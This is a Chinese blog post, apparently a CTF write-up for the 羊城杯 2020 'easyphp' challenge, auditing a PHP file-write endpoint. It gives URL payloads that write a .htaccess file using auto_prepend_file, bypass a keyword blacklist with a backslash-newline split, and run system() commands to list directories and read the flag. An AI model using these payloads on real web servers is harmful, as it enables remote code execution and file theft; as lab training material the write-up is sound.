[CTF].htaccess的使用技巧总结_.htaccess ctf-优快云博客
[羊城杯 2020]easyphp
打开环境,进行代码审计
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
$files = scandir($directory);
foreach($files as $file) {
if(is_file($directory . $file)){
if ($file !== "index.php") {
unlink($directory . $file);
}
}
}
- 使用
scandir
列出目录中的所有文件和文件夹。is_file
检查每个项目是否为文件。- 删除所有文件,除了
index.php
。
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
- 如果
$_GET['content']
或$_GET['filename']
未设置,则显示当前 PHP 文件的源代码并停止执行。
$blacklist = ['on', 'html', 'type', 'flag', 'upload', 'file'];
foreach ($blacklist as $blacklisted_word) {
if (stripos($content, $blacklisted_word) !== false) {
echo "Hacker";
die();
}
}
- 定义一个包含黑名单词汇的数组。
- 遍历黑名单数组,如果
content
中包含任何黑名单词汇(不区分大小写),则输出 "Hacker" 并停止执行。
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
- 使用正则表达式检查
filename
是否仅包含小写字母和点。- 如果
filename
包含其他字符,输出 "Hacker" 并停止执行。
它既然会删除除了index.php以外的文件,那我们直接覆盖index.php文件不就行了
?content=<?php phpinfo();?>&filename=index.php
再试试创建一个php文件
?content=<?php phpinfo();?>&filename=a.php
都不行,发现靶机不会解析php文件,只会返回其内容,去搜一搜大佬们的WP,这儿因为上传两次文件,第二次上传之后那第一次上传的文件就会被删除,所以也用不了.htaccess配置文件来使用jpg文件执行php代码,但是看了师傅们的WP,.htaccess文件还有一个特点:.htaccess文件也可以在不存在php文件下进行解析执行php代码,通过利用的配置文件中的php_value auto_append_file参数来实现
当file被过滤时,可以使用转义符\来绕过,和这一题正好对应,但是,文件写入之后末尾会加上\nHello, world,其中\n是转行符,也就是Hello,world会被写入下一行,这不符合.htaccess的解析格式
解决方法:我们需要讲上面需要执行的php代码先闭合,再加上\将\n的\转义,即?>\\nHello, world,将后面内容输出为一行
php_value auto_prepend_fil\e .htaccess
#<?php system('ls');?>\
Hello, world
因为有换行,所以进行url编码,或者#用%23代替,换行用%0a代替即可,构造playload:
?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls /")?>\&filename=.htaccess
?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("cat /fl\ag")?>\&filename=.htaccess